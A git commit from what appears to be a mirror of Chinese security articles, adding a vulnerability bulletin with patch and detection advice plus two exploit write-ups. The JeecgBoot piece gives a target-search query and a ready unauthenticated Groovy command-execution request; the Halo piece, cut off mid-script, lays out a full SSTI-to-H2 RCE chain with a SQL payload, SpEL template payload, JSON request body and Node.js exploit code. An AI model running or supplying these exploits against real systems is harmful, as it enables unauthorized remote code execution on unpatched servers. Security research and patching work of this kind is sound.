mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
正在获取URL...
chainreactors: 8 个URL BruceFeIix: 16 个URL Doonsec: 24 个URL 总共去重后: 32 个URL 就在明天15点！CRA合规专题直播：如何打通从漏洞通报到产品安全的最后一公里？、从 Halo 通知模板 SSTI 到 H2 Alias RCE：一次完整的踩坑记录、【安全速报】9月2日高危漏洞紧急预警、【漏洞复现】JeecgBoot 积木报表远程代码执行漏洞、
This commit is contained in:
test committed
1 parent
41db9e8af1
commit
f0ee8fd8bc
5 files changed
+701
-1
No files matched your search
@@ -26670,5 +26670,9 @@
|
||||
"https://mp.weixin.qq.com/s/ECvtZO1iY2Xj7zDLilHsoA": "一个 BOLA 漏洞",
|
||||
"https://mp.weixin.qq.com/s/hI_J8xEsFGdzZskpVlA-Ww": "Sign in with Apple 0day 复盘：十万美元赏金背后的认证绕过",
|
||||
"https://mp.weixin.qq.com/s/LCFrnxpW2_5c2l6ucedcvg": "【2026hvv】JeecgBoot 【0day】，文档细琐~【附验证exp】，速修~！",
|
||||
"https://mp.weixin.qq.com/s/AqB7dmY-ePSDJfg0kH3Rgw": "汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞"
|
||||
"https://mp.weixin.qq.com/s/AqB7dmY-ePSDJfg0kH3Rgw": "汉王e脸通综合管理平台 uploadMeetingFile.do 任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/nOiGJp5cjdor0kikm-eKZw": "就在明天15点！CRA合规专题直播：如何打通从漏洞通报到产品安全的最后一公里？",
|
||||
"https://mp.weixin.qq.com/s/NFfmCp0_uMpccxUc-9DSLw": "从 Halo 通知模板 SSTI 到 H2 Alias RCE：一次完整的踩坑记录",
|
||||
"https://mp.weixin.qq.com/s/QeXmCZb0xcLFA6mrDXFh9A": "【安全速报】9月2日高危漏洞紧急预警",
|
||||
"https://mp.weixin.qq.com/s/pnUGEgjLrCCuJ5UnqIn3Zg": "【漏洞复现】JeecgBoot 积木报表远程代码执行漏洞"
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
# 【安全速报】9月2日高危漏洞紧急预警
|
||||
探知安全
|
||||
探知安全 探知安全 2026-09-02 03:10
|
||||
|
||||
# 【安全速报】9月2日高危漏洞紧急预警
|
||||
|
||||
2026年09月02日 | 探知安全
|
||||
|
||||
今日焦点
|
||||
|
||||
本期最值得关注的攻击链有两条——PaperCut NG/MF 打印管理服务器的预认证 RCE 链（CVE-2026-81578 + CVE-2026-82078），CISA 于 8 月 31 日将其纳入 KEV 目录并给出 9 月 14 日的联邦修复截止日，PaperCut 已确认客户入侵事件，Metasploit 模块公开，攻击者落地 AnyDesk 远控后做内网横移；另一条是 JFrog Artifactory 认证绕过（CVE-2026-82329，CVSS 9.8），披露仅 3-4 天即在野利用，攻击者伪造管理员令牌枚举用户与凭据，直击软件供应链信任根。此外 Langflow AI 低代码平台 RCE（CVE-2026-0768）已被俄罗斯 IP 发起 360 余次利用尝试，AI 基础设施正在成为凭据窃取的首选靶场。建议优先排查公网 PaperCut 管理界面、自托管 Artifactory 实例与公网 Langflow 部署。
|
||||
## 漏洞详情
|
||||
|
||||
严重
|
||||
CVE-2026-81578 + CVE-2026-82078
|
||||
CVSSv4 9.4
|
||||
### PaperCut NG/MF 预认证 RCE 链（CVSSv4 9.4·CISA KEV 8/31·已确认客户入侵·Metasploit 模块已公开）
|
||||
|
||||
PaperCut NG/MF 打印管理服务器的两个漏洞串联后构成完整的预认证远程代码执行链。CVE-2026-81578（CVSSv4 8.8，CWE-306 缺失认证）利用 Apache Tapestry 框架的"complex direct"请求格式，攻击者指定一个公开页面（Error、Exception 或 Home）作为展示页，同时调用属于 ConfigEditor 或 UserList 的管理组件，PaperCut 仅校验被展示页面的访问权限，管理组件便在未认证状态下执行。CVE-2026-82078（CVSSv4 9.4，CWE-470 不安全反射）则通过不安全的动态类加载执行 classpath 上任意 Java 字节码。攻击者先用第一个漏洞改写四个外部用户查询参数（db-driver、db-url、id-to-username-sql、enabled）指向恶意 JDBC 连接，再触发用户搜索，利用 H2 的 INIT 机制创建 JavaScript 触发器经 Nashorn 引擎执行操作系统命令——全程零凭据、零交互。PaperCut 已确认客户入侵事件，观测到的后渗透行为包括系统侦察、安装 AnyDesk 和 SimpleHelp 远控软件以及建立持久化特权访问。CISA 于 8 月 31 日将两个漏洞纳入 KEV，联邦修复截止日 9 月 14 日。第一版紧急补丁（8 月 28 日）本身可被 Home 页面变体绕过，PaperCut 已发布 Emergency Patch Release 2 修复，Metasploit 模块已公开。
|
||||
|
||||
影响范围
|
||||
|
||||
PaperCut NG/MF 全版本（PaperCut 将所有 NG 和 MF 版本视为潜在受影响），尤其 24、25、26 版本；第一版补丁（8/28）不可靠，仅打了第一版补丁的实例仍需再次修补
|
||||
|
||||
**修复建议：**
|
||||
立即应用 Emergency Patch Release 2（覆盖 24/25/26 版本，Windows/Linux/macOS）；仅打了 Release 1 的视为未修复；无法立即打补丁时用防火墙或反向代理将 Web 管理界面限制为可信内部 IP 段；核查四个用户查询参数是否被篡改，检查 server.log 完整性；检测特征：未认证 POST 到 /app?service=direct/ 引用 ConfigEditor 或 UserList，日志出现 "No suitable driver found for jdbc" 与 "DatabaseUtils - Database error looking up cardID"
|
||||
|
||||
严重
|
||||
CVE-2026-82329
|
||||
CVSS 9.8
|
||||
### JFrog Artifactory 认证绕过直取管理员令牌（CVSS 9.8·在野利用·3-4 天武器化·供应链投毒风险）
|
||||
|
||||
JFrog Artifactory 自托管实例的 JFrog Access 组件在默认配置下，当未显式设置附加 join key 时会自动生成一个"幻影 join key"（phantom join key），攻击者可以伪造该密钥创建管理员级别的访问令牌。漏洞归类为不当认证（CWE-287），未认证攻击者仅需网络访问即可绕过认证获取管理员权限。JFrog 于 8 月 28 日发布补丁（7.161.20），但仅 3-4 天后 WatchTowr 即确认在野利用：攻击者已在公网暴露的实例上铸造管理员令牌，并枚举用户、组、凭据集与联邦访问拓扑。Artifactory 是 83% 的财富 100 强企业的制品仓库，管理员权限意味着可以篡改二进制制品、容器镜像和软件包，向下游 CI/CD 管线投毒——这不是一个身份泄露，而是整个软件供应链信任根的失守。云托管实例不受影响，自托管实例是主要风险面。JFrog CTO Yoav Landman 澄清此漏洞与此前 OpenAI/Hugging Face 的 Artifactory 零日链无关。
|
||||
|
||||
影响范围
|
||||
|
||||
JFrog Artifactory 自托管版：7.111.4-7.111.20、7.117.0-7.117.27、7.125.0-7.125.19、7.133.0-7.133.28、7.146.0-7.146.36、7.161.0-7.161.19；云托管实例不受影响
|
||||
|
||||
**修复建议：**
|
||||
立即升级至 7.111.21 / 7.117.28 / 7.125.20 / 7.133.29 / 7.146.38 / 7.161.20（按当前版本线选择对应补丁版本）；升级后显式配置一个强 join key；轮换所有访问令牌、管理员密码、API 密钥与联邦仓库凭据；审计 JFrog Access 日志中的异常令牌签发与管理员活动；对公网暴露期间（8/28 至今）的实例按已被入侵对待，检查下游制品是否被植入后门
|
||||
|
||||
严重
|
||||
CVE-2026-0768
|
||||
CVSS 9.8
|
||||
### Langflow AI 低代码平台未认证 RCE（CVSS 9.8·在野利用·360+ 次攻击尝试·凭据窃取）
|
||||
|
||||
Langflow 是流行的 AI 应用低代码构建平台，其自定义组件编辑器的代码验证器存在代码注入缺陷（CWE-94）：用户提供的字符串在进入 Python exec 语句前未做净化，未认证攻击者可构造恶意请求注入任意 Python 代码，以 Langflow 进程权限（常为 root）执行。VulnCheck 蜜罐在漏洞细节公开后即检测到利用尝试，截至 9 月 1 日，一个英国蜜罐已记录 360 余次攻击尝试，主要来自俄罗斯 IP。攻击者利用 RCE 执行环境变量查询、目录列举与敏感文件读取，目标是 API 密钥、云服务凭据和 SSH 密钥。2026 年内已有 11 个 Langflow 漏洞被利用（含 CVE-2026-0769、CVE-2025-3248、CVE-2026-5027），AI 基础设施正在成为攻击者的高价值固定靶场。该漏洞经 ZDI 于 2025 年 7 月报告，2026 年 1 月作为零日披露，所有 1.4.2 及之前版本受影响。
|
||||
|
||||
影响范围
|
||||
|
||||
Langflow 所有版本 ≤ 1.4.2，尤其是公网暴露或弱认证的 AI 工作流开发实例
|
||||
|
||||
**修复建议：**
|
||||
立即升级至 1.4.2 之后的已修补版本；关闭公网对自定义组件编辑器及相关端点的暴露，置于强认证与零信任访问之后；检测特征：POST 请求到 /api/v1/validate_code 端点且含 Python 代码片段，Langflow 进程派生子进程 sh/bash/curl/wget，命令行出现 print(os.environ)；轮换可能暴露的 API 密钥与 SSH 凭据
|
||||
|
||||
严重
|
||||
CVE-2026-73749
|
||||
CVSS 9.8
|
||||
### HPE Aruba AOS-CX 交换机未认证 RCE（CVSS 9.8·网络基础设施·默认配置受影响·9/1 披露）
|
||||
|
||||
HPE Aruba Networking 的 AOS-CX 交换机操作系统中一个守护进程存在多个缓冲区溢出缺陷，对畸形输入处理不当。未认证远程攻击者向受影响守护进程发送特制网络数据包即可实现远程代码执行并获得提权，完全破坏交换机的机密性、完整性与可用性。攻击复杂度低，无需用户交互，默认配置即受影响。该漏洞于 9 月 1 日公开披露，目前尚无公开 PoC 或在野利用报告，但网络交换机是内网骨干节点，一旦被打穿即可 pivot 至其他网段、劫持流量或造成大面积网络中断。受影响版本覆盖 10.10 至 10.18 多个发布线。
|
||||
|
||||
影响范围
|
||||
|
||||
HPE Aruba Networking AOS-CX：10.18.0000-10.18.0001、10.17.0000-10.17.1021、10.16.0000-10.16.1051、10.13.0000-10.13.1180、10.10.0000-10.10.1180
|
||||
|
||||
**修复建议：**
|
||||
查阅 HPE 安全公告 HPESBNW05134 并升级至不受影响版本；无法立即修补时将交换机管理面与控制面服务限制为可信管理 VLAN，应用严格 L3+ 访问控制策略仅允许授权主机访问受影响守护进程；关闭不必要的外露接口/服务；监控交换机日志中的异常或畸形数据包
|
||||
|
||||
高危
|
||||
CVE-2026-19313/19315/19318
|
||||
CVSS 9.3
|
||||
### WatchGuard Fireware OS IKE 守护进程未认证 RCE 三连（CVSS 9.3·VPN 网关·无在野利用但暴露面极大）
|
||||
|
||||
WatchGuard Fireware OS 的 iked 进程（IKE 守护进程，负责 IPsec VPN 协商）中存在三个严重漏洞：堆溢出（CVE-2026-19313）、类型混淆（CVE-2026-19315）和栈溢出（CVE-2026-19318），均可被未认证攻击者通过特制网络流量触发，实现以 iked 进程权限执行任意代码，进而完全控制设备。同批修复的还有 epm 服务（已弃用的 Mobile Security 组件）中的栈溢出 CVE-2026-13086（同样可未认证 RCE），以及 WatchGuard Dimension 中低权管理员提取超级管理员会话 ID 与 CSRF 令牌实现账户接管的 CVE-2026-78174。五个严重漏洞均为 CVSS 9.3。VPN 网关是组织远程访问边界的核心节点，一旦被攻破即意味着边界防线从内部被绕过。WatchGuard 表示目前不知晓这些漏洞在野利用。
|
||||
|
||||
影响范围
|
||||
|
||||
WatchGuard Firebox 设备（启用 Mobile Security 组件的尤其关注 epm 漏洞）与 WatchGuard Dimension 管理平台
|
||||
|
||||
**修复建议：**
|
||||
立即升级至 Fireware OS 2026.2.2 / 12.12.2 / 12.5.20 以及 Dimension 2.3.1；仍在使用已弃用 Mobile Security 组件的用户既打补丁又审查遗留服务部署；关注同批 7 个高危 DoS 漏洞（6 个影响 iked）与 5 个高危 Dimension 漏洞
|
||||
|
||||
严重
|
||||
CVE-2026-78319
|
||||
CVSS 9.8
|
||||
### SAUTER 楼宇自动化控制器未认证 RCE（CVSS 9.8·OT/ICS·TOCTOU 竞争·物理系统安全）
|
||||
|
||||
SAUTER 楼宇自动化控制器的固件更新机制存在 TOCTOU（Time-of-Check to Time-of-Use）竞态条件缺陷（CWE-367）。攻击者发送合法固件更新请求后，在设备校验文件与实际使用文件之间的短暂窗口内，将合法文件替换为恶意固件，诱使设备接受并执行攻击者代码，实现完全控制。受影响设备负责管理暖通空调（HVAC）等关键楼宇系统，攻击成功可导致物理运行中断、设备损坏与不安全环境条件——数据中心、医院、制造车间中的 HVAC 被打穿可能直接危及人身安全。该漏洞在 Cyberdefence Campus Domotics Hackathon 2026 上被发现，经 CERT@VDE 负责任披露，9 月 1 日公开，目前无 PoC 与在野利用。
|
||||
|
||||
影响范围
|
||||
|
||||
SAUTER modulo 6 固件 < 4.0.0、EY-modulo 5 固件 < 7.0.0；受影响型号包括 ecos504、ecos505、modu612-LC、modu660-AS、modu680-AS
|
||||
|
||||
**修复建议：**
|
||||
升级 modulo 6 至 4.0.0+、EY-modulo 5 至 7.0.0+；升级后启用降级保护防止攻击者回滚至漏洞版本；限制 OT 网络对管理接口的暴露，仅允许指定管理站发起固件更新流量；监控非授权固件更新尝试与异常重启/配置变更
|
||||
|
||||
## 紧急提醒
|
||||
|
||||
本期最高优先级是 PaperCut NG/MF 预认证 RCE 链。原因有三：第一，CISA 已纳入 KEV 且联邦修复窗口仅 14 天，在 KEV 目录的历史上属于偏紧的时限信号；第二，PaperCut 自己确认了客户入侵事件，攻击者的后渗透行为包括安装 AnyDesk/SimpleHelp 远控软件和建立持久化特权访问，说明已有完整的入侵链在运转；第三，Metasploit 模块已公开，利用门槛被压到地板——2023 年的 CVE-2023-27350 曾被勒索组织大规模利用，历史正在重演。紧随其后的是 JFrog Artifactory：3-4 天从补丁到在野利用，攻击者已在铸造管理员令牌，Artifactory 是软件供应链的信任根，一旦失守下游全线中毒。第三梯队是 Langflow AI 平台——360+ 次来自俄罗斯的利用尝试，目标是 API 密钥和云凭据，AI 基础设施已不是"未来靶场"而是"当前靶场"。请按公网 PaperCut 管理界面 → 自托管 Artifactory → 公网 Langflow → HPE Aruba 交换机管理面 → WatchGuard VPN 网关 → SAUTER OT 控制器的顺序排查。
|
||||
## 处置建议
|
||||
|
||||
①
|
||||
PaperCut NG/MF 立即应用 Emergency Patch Release 2（覆盖 24/25/26 版本），仅打了 Release 1 的视为未修复需重新修补；检测未认证 POST 到 /app?service=direct/ 引用 ConfigEditor 或 UserList 的请求；核查 db-driver/db-url/id-to-username-sql/enabled 四个参数是否被篡改
|
||||
|
||||
②
|
||||
自托管 JFrog Artifactory 立即升级至 7.161.20（或对应版本线补丁版本），显式配置强 join key，轮换所有令牌/密码/API 密钥/联邦凭据，审计 8/28 以来 Access 日志中的异常令牌签发，对公网暴露期间实例按已入侵对待排查下游制品
|
||||
|
||||
③
|
||||
Langflow 升级至 1.4.2 之后已修补版本，关闭公网对 /api/v1/validate_code 端点的暴露，置于强认证之后，监控 Langflow 进程派生的 sh/bash/curl/wget 子进程与 os.environ 查询，轮换可能暴露的 API 密钥与 SSH 凭据
|
||||
|
||||
④
|
||||
HPE Aruba AOS-CX 交换机查阅 HPESBNW05134 公告升级至不受影响版本，无法立即修补时将管理面限制为可信管理 VLAN 并应用 L3+ ACL 仅允许授权主机访问受影响守护进程
|
||||
|
||||
⑤
|
||||
WatchGuard Firebox 升级至 Fireware OS 2026.2.2 / 12.12.2 / 12.5.20，Dimension 升级至 2.3.1；仍在使用已弃用 Mobile Security 组件的既打补丁又审查遗留服务；关注同批高危 DoS 漏洞
|
||||
|
||||
⑥
|
||||
SAUTER 楼宇控制器升级 modulo 6 至 4.0.0+ / EY-modulo 5 至 7.0.0+，升级后启用降级保护，限制 OT 网络管理接口暴露，监控非授权固件更新与异常重启
|
||||
|
||||
觉得有用？点击右下角**在看**
|
||||
，让更多人看到
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# 【漏洞复现】JeecgBoot 积木报表远程代码执行漏洞
|
||||
熔城Sec 2026-09-02 06:00
|
||||
|
||||
|
||||
|
||||
免责声明
|
||||
|
||||
该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送，建议把公众号设为星标，否则可能就看不到啦！感谢各位师傅。
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞描述
|
||||
|
||||
JeecgBoot 内置 JimuReport(积木报表)组件的 auto/export 导出接口存在未授权远程代码执行漏洞,参数值以 = 开头时被内部表达式引擎按 Excel 公式解析,该引擎具备 Groovy 脚本能力且无过滤,可执行任意命令。
|
||||
|
||||
|
||||
|
||||
资产收集
|
||||
```
|
||||
app="JeecgBoot-企业级低代码平台"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
漏洞复现
|
||||
```
|
||||
POST /jeecg-boot/jmreport/auto/export HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
|
||||
Content-Type: application/json
|
||||
Accept: application/json
|
||||
{
|
||||
"reportParams": [
|
||||
{
|
||||
"id": "907480464532770816",
|
||||
"params": {
|
||||
"x": "=use groovy.util.Eval; Eval.me('throw new RuntimeException(\"id\".execute().text)')"
|
||||
},
|
||||
"exportType": "pdf"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,369 @@
|
||||
# 从 Halo 通知模板 SSTI 到 H2 Alias RCE：一次完整的踩坑记录
|
||||
一寸灰
|
||||
一寸灰 进击安全 2026-09-02 03:24
|
||||
|
||||
> 本文来自一次真实代码审计与漏洞复现。目标环境为本地 localhost:8090，Halo 版本 2.26.0，项目源码 2.26.0-SNAPSHOT。最终成功弹出 calc.exe。
|
||||
|
||||
## 一、前言：为什么会盯上通知模板
|
||||
|
||||
Halo 是一款基于
|
||||
Spring Boot WebFlux + R2DBC + Thymeleaf的开源 CMS。在审计过程中，我们发现后台允许管理员自定义
|
||||
通知模板（NotificationTemplate），而这些模板最终会被 Thymeleaf 渲染成通知标题、正文等内容。
|
||||
|
||||
直觉上，如果模板内容没有经过任何过滤，就存在
|
||||
SSTI（Server-Side Template Injection）的风险。于是沿着这条线往下挖，最终形成了一条完整的 RCE 链：
|
||||
```
|
||||
管理员登录
|
||||
→ 上传 poc.sql 到附件目录
|
||||
→ 篡改 new-device-login 通知模板
|
||||
→ 新设备登录触发通知
|
||||
→ Thymeleaf 渲染模板
|
||||
→ SpringEL 执行
|
||||
→ SimpleDriverDataSource.getConnection()
|
||||
→ H2 RUNSCRIPT FROM 本地 poc.sql
|
||||
→ CREATE ALIAS + CALL calc()
|
||||
→ calc.exe 弹出
|
||||
```
|
||||
|
||||
下面会把整个过程中的关键点、踩坑点和修复思路逐一展开。
|
||||
## 二、漏洞定位：Source 与 Sink
|
||||
### 2.1 Source：管理员能把任意字符串写进模板
|
||||
|
||||
Halo 的扩展资源通过统一的 CRD API 暴露。通知模板作为一种 Extension，更新入口在：
|
||||
```
|
||||
@Override
|
||||
public Mono handle(ServerRequest request) {
|
||||
String name = request.pathVariable(”name”);
|
||||
return request.bodyToMono(Unstructured.class) // Source 在这里
|
||||
.filter(unstructured -> unstructured.getMetadata() != null
|
||||
&& StringUtils.hasText(unstructured.getMetadata().getName())
|
||||
&& Objects.equals(unstructured.getMetadata().getName(), name))
|
||||
.switchIfEmpty(Mono.error(
|
||||
() -> new ServerWebInputException(”Cannot read body to ” + scheme.groupVersionKind())))
|
||||
.flatMap(client::update) // 写入数据库
|
||||
.flatMap(updated -> ServerResponse.ok()
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.bodyValue(updated));
|
||||
}
|
||||
```
|
||||
|
||||
攻击者向下面这个地址发送 PUT 请求：
|
||||
```
|
||||
/apis/notification.halo.run/v1alpha1/notificationtemplates/template-new-device-login
|
||||
```
|
||||
|
||||
就能把 spec.template.title、rawBody、htmlBody 替换成任意字符串，而且这些内容会被原封不动地存进数据库。
|
||||
### 2.2 Sink：模板内容被 Thymeleaf 直接渲染
|
||||
|
||||
真正执行模板的地方是：
|
||||
```
|
||||
@Component
|
||||
@RequiredArgsConstructor
|
||||
public class DefaultNotificationTemplateRender implements NotificationTemplateRender {
|
||||
|
||||
private static final TemplateEngine TEMPLATE_ENGINE = createTemplateEngine();
|
||||
|
||||
@Override
|
||||
public Mono render(String template, Map model) {
|
||||
var context = new Context(Locale.getDefault(), model);
|
||||
...
|
||||
return Mono.when(globalAttributeMono)
|
||||
.then(Mono.fromSupplier(() ->
|
||||
TEMPLATE_ENGINE.process(defaultString(template), context) // Sink 在这里
|
||||
));
|
||||
}
|
||||
|
||||
static TemplateEngine createTemplateEngine() {
|
||||
var template = new SpringTemplateEngine();
|
||||
template.setTemplateResolver(new StringTemplateResolver()); // 字符串模板，无过滤
|
||||
return template;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
注意两个重点：
|
||||
|
||||
也就是说，title 字段里写 [[${...}]]，Thymeleaf 就会把它当 SpringEL 表达式执行。
|
||||
### 2.3 触发路径：新设备登录通知
|
||||
|
||||
new-device-login 通知的触发点在：
|
||||
```
|
||||
@EventListener
|
||||
Mono onApplicationEvent(NewDeviceLoginEvent event) {
|
||||
return subscribeForNewDeviceLoginReason(event.getDevice())
|
||||
.then(sendNewDeviceNotification(event.getDevice()));
|
||||
}
|
||||
|
||||
Mono sendNewDeviceNotification(Device device) {
|
||||
return notificationReasonEmitter.emit(REASON_TYPE, builder -> { // REASON_TYPE = ”new-device-login”
|
||||
...
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
最终 DefaultNotificationCenter.inferenceTemplate() 会把 title、rawBody、htmlBody 三处都送进 DefaultNotificationTemplateRender.render()：
|
||||
```
|
||||
var titleMono = notificationTemplateRender
|
||||
.render(templateContent.getTitle(), model)
|
||||
.doOnNext(builder::title);
|
||||
|
||||
var rawBodyMono = notificationTemplateRender
|
||||
.render(templateContent.getRawBody(), model)
|
||||
.doOnNext(builder::rawBody);
|
||||
|
||||
var htmlBodyMono = notificationTemplateRender
|
||||
.render(templateContent.getHtmlBody(), model)
|
||||
.doOnNext(builder::htmlBody);
|
||||
```
|
||||
|
||||
所以只要改 title，就能在通知触发时执行任意 SpEL。
|
||||
## 三、第一道坎：Thymeleaf 的 ACL 黑名单
|
||||
|
||||
如果只是简单的 SSTI，第一反应肯定是：
|
||||
```
|
||||
[[${T(java.lang.Runtime).getRuntime().exec(”calc”)}]]
|
||||
```
|
||||
|
||||
但在 Thymeleaf 3.1.3 里，这招走不通。
|
||||
|
||||
Thymeleaf 在 org.thymeleaf.util.ExpressionUtils 里维护了一套 ACL，反编译后可以看到它把常见的高危包都拉黑了：
|
||||
```
|
||||
// 全局黑名单
|
||||
private static final Set BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = Set.of(
|
||||
”java.”, ”javax.”, ”jakarta.”, ”jdk.”,
|
||||
”org.ietf.jgss.”, ”org.omg.”, ”org.w3c.dom.”, ”org.xml.sax.”,
|
||||
”com.sun.”, ”sun.”
|
||||
);
|
||||
|
||||
// 仅允许 java.time.
|
||||
private static final Set ALLOWED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES = Set.of(
|
||||
”java.time.”
|
||||
);
|
||||
|
||||
// 类型引用黑名单
|
||||
private static final Set BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES = Set.of(
|
||||
”org.springframework.web.”, ”org.springframework.context.”,
|
||||
”org.springframework.beans.”, ”org.springframework.aspects.”,
|
||||
”org.springframework.aop.”, ”org.springframework.expression.”,
|
||||
”org.springframework.util.”,
|
||||
”org.objectweb.asm.”, ”javassist.”, ”net.bytebuddy.”, ”org.aspectj.”,
|
||||
...
|
||||
);
|
||||
```
|
||||
|
||||
判断逻辑大致是：先查白名单，再查黑名单。于是 java.lang.Runtime、java.lang.ProcessBuilder、javax.script.、org.springframework.expression.spel.
|
||||
等常规 RCE 路径全部被堵死。
|
||||
## 四、第二道坎：H2 URL 里写多语句会被截断
|
||||
|
||||
既然直接调 Runtime.exec 不行，就要找一个
|
||||
不在黑名单里、又能触发代码执行的类。
|
||||
|
||||
这里用到两个关键点：
|
||||
|
||||
于是可以构造：
|
||||
```
|
||||
new org.springframework.jdbc.datasource.SimpleDriverDataSource(
|
||||
new org.h2.Driver(),
|
||||
'jdbc:h2:mem:rcepoc;INIT=',
|
||||
'sa',
|
||||
'').getConnection()
|
||||
```
|
||||
|
||||
H2 的 INIT 参数会在建立连接时执行一条 SQL。我们本来希望直接写：
|
||||
```
|
||||
jdbc:h2:mem:rcepoc;INIT=CREATE ALIAS calc AS '...'; CALL calc()
|
||||
```
|
||||
|
||||
但实测发现 H2 URL 解析器会按 ; 切分 key/value，INIT 的值会被截断成只有 CREATE ALIAS calc AS '...'，后面的 CALL calc() 直接丢掉。
|
||||
|
||||
解决办法：用 RUNSCRIPT FROM '<文件路径>'，让 H2 去读一个完整的 SQL 脚本，脚本内部可以写多条语句。
|
||||
|
||||
poc.sql 内容：
|
||||
```
|
||||
DROP ALIAS IF EXISTS calc;
|
||||
CREATE ALIAS calc AS 'String calc() throws Exception { java.lang.Runtime.getRuntime().exec(”calc”); return ”done”; }';
|
||||
CALL calc();
|
||||
```
|
||||
## 五、第三道坎：文件怎么送上去
|
||||
|
||||
早期版本为了把 poc.sql 传给 H2，需要在本机起一个 HTTP 服务，让 H2 通过 RUNSCRIPT FROM 'http://127.0.0.1:18080/poc.sql' 下载。但这样依赖额外服务，不够优雅。
|
||||
|
||||
后来发现 Halo 默认的
|
||||
附件上传接口不做后缀白名单，可以直接把 poc.sql 上传到：
|
||||
```
|
||||
~/.halo2/attachments/upload/poc.sql
|
||||
```
|
||||
|
||||
上传端点：
|
||||
```
|
||||
POST /apis/api.console.halo.run/v1alpha1/attachments/upload
|
||||
Content-Type: multipart/form-data
|
||||
```
|
||||
|
||||
表单字段：
|
||||
- file：要上传的文件
|
||||
|
||||
- policyName：default-policy
|
||||
|
||||
Node.js 上传代码：
|
||||
```
|
||||
const PAYLOAD_SQL = fs.readFileSync('poc.sql', 'utf8');
|
||||
|
||||
async function uploadPocSql(cookies) {
|
||||
const form = new FormData();
|
||||
form.append('file', new Blob([PAYLOAD_SQL], { type: 'application/octet-stream' }), 'poc.sql');
|
||||
form.append('policyName', 'default-policy');
|
||||
|
||||
const res = await fetch('http://localhost:8090/apis/api.console.halo.run/v1alpha1/attachments/upload', {
|
||||
method: 'POST',
|
||||
headers: { Cookie: cookieString(cookies) },
|
||||
body: form,
|
||||
});
|
||||
if (res.status !== 200) {
|
||||
throw new Error(`Upload failed: ${res.status}`);
|
||||
}
|
||||
console.log('[+] poc.sql uploaded to ~/.halo2/attachments/upload/poc.sql');
|
||||
}
|
||||
```
|
||||
|
||||
H2 在 Windows 下也能正确解析 ~ 为用户主目录，所以本地文件 URL 写成：
|
||||
```
|
||||
file:~/.halo2/attachments/upload/poc.sql
|
||||
```
|
||||
|
||||
即可。
|
||||
## 六、PoC 构造：一步步拼起来
|
||||
### 6.1 构造 Thymeleaf payload
|
||||
```
|
||||
const LOCAL_SQL_URL = 'file:~/.halo2/attachments/upload/poc.sql';
|
||||
|
||||
const RCE_TEMPLATE_TITLE = (() => {
|
||||
const urlValue = `jdbc:h2:mem:rcepoc;INIT=RUNSCRIPT FROM '${LOCAL_SQL_URL}'`;
|
||||
const spelExpr = [
|
||||
'new org.springframework.jdbc.datasource.SimpleDriverDataSource(',
|
||||
'new org.h2.Driver(), ',
|
||||
”'” + urlValue.replace(/'/g, ”''”) + ”', ”, // SpEL 字符串里单引号要转义
|
||||
”'sa', ”,
|
||||
”''”,
|
||||
').getConnection()'
|
||||
].join('');
|
||||
return '[[' + '${' + spelExpr + '}' + ']]';
|
||||
})();
|
||||
```
|
||||
|
||||
最终写入 NotificationTemplate.title 的字符串：
|
||||
```
|
||||
[[${new org.springframework.jdbc.datasource.SimpleDriverDataSource(
|
||||
new org.h2.Driver(),
|
||||
'jdbc:h2:mem:rcepoc;INIT=RUNSCRIPT FROM ''file:~/.halo2/attachments/upload/poc.sql''',
|
||||
'sa',
|
||||
'').getConnection()}]]
|
||||
```
|
||||
|
||||
可以直接用于 curl 的请求体（payload.json）：
|
||||
```
|
||||
{
|
||||
”apiVersion”: ”notification.halo.run/v1alpha1”,
|
||||
”kind”: ”NotificationTemplate”,
|
||||
”metadata”: { ”name”: ”template-new-device-login” },
|
||||
”spec”: {
|
||||
”reasonSelector”: {
|
||||
”language”: ”default”,
|
||||
”reasonType”: ”new-device-login”
|
||||
},
|
||||
”template”: {
|
||||
”title”: ”[[${new org.springframework.jdbc.datasource.SimpleDriverDataSource(new org.h2.Driver(), 'jdbc:h2:mem:rcepoc;INIT=RUNSCRIPT FROM ''file:~/.halo2/attachments/upload/poc.sql''', 'sa', '').getConnection()}]]”,
|
||||
”rawBody”: ”RCE POC raw body”,
|
||||
”htmlBody”: ”RCE POC html body”
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### 6.2 完整执行流程
|
||||
|
||||
rce_poc.js 的完整流程如下：
|
||||
```
|
||||
// 1. 获取 CSRF token 和 RSA 公钥
|
||||
const { csrf, publicKey, cookies } = await getLoginPage();
|
||||
|
||||
// 2. 第一次管理员登录
|
||||
const loginA = await doLogin(csrf, cookies, publicKey, 'Halo-RCE-Browser-A/1.0', '10.0.0.1');
|
||||
|
||||
// 3. 上传 poc.sql 到附件目录
|
||||
await uploadPocSql(loginA.cookies);
|
||||
|
||||
// 4. 把 new-device-login 模板 title 替换成 RCE payload
|
||||
await updateNotificationTemplate(loginA.cookies, RCE_TEMPLATE_TITLE);
|
||||
|
||||
// 5. 再次获取 CSRF，第二次登录（不同 UA / IP，触发新设备通知）
|
||||
const loginPageB = await getLoginPage();
|
||||
const loginB = await doLogin(loginPageB.csrf, loginPageB.cookies, loginPageB.publicKey,
|
||||
'Halo-RCE-Browser-B/2.0 (Different)', '10.0.0.2');
|
||||
|
||||
// 6. 等待通知触发
|
